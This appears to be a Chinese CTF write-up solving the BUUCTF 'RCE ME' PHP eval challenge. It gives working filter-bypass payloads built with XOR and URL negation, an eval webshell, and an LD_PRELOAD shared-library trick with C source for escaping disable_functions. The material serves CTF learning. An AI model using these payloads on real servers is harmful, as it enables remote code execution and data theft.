BUUCTF--[极客大挑战 2019]RCE ME

目录

URL编码取反绕过

异或绕过

异或的代码

flag

借助蚁剑中的插件进行绕过

利用动态链接库

编写恶意c语言代码

进行编译

然后再写一个php文件

将这两个文件上传到/var/tmp下

运行payload


直接看代码

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

主要是学习绕过匹配**A-Za-z0-9+** 的方法。有 异或绕过url编码取反绕过

URL编码取反绕过

首先查看phpinfo() 看看哪些函数被过滤了

这时服务端会尝试解析这段URL编码后的值,但这段是被取反了的,所以会导致服务端无法正常解析这段URL编码后的值,结果为

从而绕过验证

相当于使用了phpinfo();

看到这里的system exec exec_shell函数都被禁用了,考虑用一句话木马

php 复制代码
assert(eval($_POST[cmd]))

同样也使用URL编码取反绕过

php 复制代码
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

成功连接上,除此之外,还可以使用异或绕过

异或绕过

当过滤了所有的英文字母和数字时,ASCII码中还有很多**除了字母数字的字符,**通过这些字符进行异或可以得到想要的字符

比如,现在要得到 'A' 这个字符

复制代码
A 可以通过 ? 和 ~ 字符进行异或得到

字符 ?  ASCII码值: 63  二进制:0011 1111
字符 ~  ASCII码值:126 二进制:0111 1110
进行异或操作:
0 XOR 0 -> 0
0 XOR 1 -> 1
1 XOR 1 -> 1
1 XOR 0 -> 0
上面进行异或操作得到 0100 0001
对应的ASCII码值就是A

异或的代码

这里要感谢这位师傅提供的代码:

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

python 复制代码
# -*- coding: utf-8 -*-

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的"字符"十进制
str1,str2 = '',''

for char in payload:
    for i in strlist:
        for j in strlist:
            if(i ^ j == ord(char)):
                i = '%{:0>2}'.format(hex(i)[2:])
                # [2:]为切片操作,去掉十六进制的前两位 '0x'
                # 0表示填充字符,当字符串长度不足时用0来填充
                # >表示右对齐,填充字符回添加在字符串的左边,2指定宽度为2
                j = '%{:0>2}'.format(hex(j)[2:])
                print("('{0}'^'{1}')".format(i,j),end=".")
                break
        else:
            continue
        break

此时得到assert异或的结果为

python 复制代码
('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c').
php 复制代码
# 现在的步骤就是:

?code=assert($_POST[_]);

# 使用"_ __ ___" 来代替变量名

(1) $_=assert=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');

(2) $__='_POST'='_'.'POST'='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d')

(3) $___='$_POST'='$'.$__=$$__

(4) ?code=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d');$___=$$__;
$_($___[_]);
# assert($_POST[_])

但这样显然过不了长度检测,需要换个形式,还记得上一篇love math就接触了这样的形式

php 复制代码
?code=$_GET[_]($_GET[__]);&_=assert&__=eval($_POST['cmd']);
# 一定要在中间加';'

借助下面的脚本(求得_GET的另一种表示形式):

python 复制代码
test="_GET"
xor_byte=0xFE # 固定异或字节
xor_pairs=[]

for char in test:
    test_byte=ord(char)
    ans_byte=xor_byte ^ test_byte
    xor_pairs.append(ans_byte)

xor_expression="".join([f"%{b:02x}" for b in xor_pairs])
print(f"异或表达式为: {xor_expression}")

可以得到_GET的异或值

python 复制代码
%fe%fe%fe%fe^%a1%b9%bb%aa

于是语句就可以变成

php 复制代码
?code=$_GET[_]($_GET[__]);&_=assert&__=eval($_POST['cmd']);

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST['cmd'])

就能成功getshell了

空flag

发现这里有两个flag,第一个flag是空的,第二个flag打开是乱码。看网上师傅的说法是:这里由于disable_function的作用,禁用了很多函数,导致得到的是"空shell", 没有办法执行命令。需要绕过disable_function,下面绕过的方法也是看师傅们的^-^,主要有两种方法

借助蚁剑中的插件进行绕过

这里可能插件市场会加载不出来,上网搜篇文章看看就可以了,这里不好讲

成功看到这个, 然后在蚁剑首页右键点击该shell,点击加载插件

选择这个,然后右键开始,此时会自动跳转到虚拟终端,这时直接通过readflag来得到flag就行了

利用动态链接库

这里按着这位师傅的文章来学习一下:
【PHP绕过】LD_PRELOAD bypass disable_functions_phpid绕过-CSDN博客

后面会写一篇文章专门了解这方面的知识,先讲步骤:

编写恶意c语言代码

php 复制代码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void payload(){
    // flag的返回形式为test.php
    system("cat /flag >> /var/tmp/test.php");
    system("tac /flag >> /var/tmp/test.php");
    system("more /flag >> /var/tmp/test.php");
    system("head -2 /flag >> /var/tmp/test.php");
    system("tail /flag >> /var/tmp/test.php");
    system("/readflag >> /var/tmp/test.php");
}
int geteuid(){ // 注意这里是geteuid
    if(getenv("LD_PRELOAD")==NULL){return 0;}
    // 使用getenv检查环境变量LD_PRELOAD是否存在
    unsetenv("LD_PRELOAD");
    // 如果存在,就删除LD_PRELOAD,避免后续程序受其影响
    payload();
}

进行编译

cpp 复制代码
gcc -shared -fPIC hack.c -o getflag.so
# -shared 是共享链接库

然后再写一个php文件

cpp 复制代码
<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("","","","");
error_log("",1,"","");
?>

将这两个文件上传到/var/tmp下

运行payload

cpp 复制代码
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so

此时就会在/var/tmp下得到一个test.php 查看内容就得到了flag

相关推荐
两个人的幸福7 小时前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982073 天前
PHP 扩展——从入门到理解
php
鹏仔先生4 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下4 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest4 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip4 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售4 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手4 天前
l33t-hoster
学习·web安全·网络安全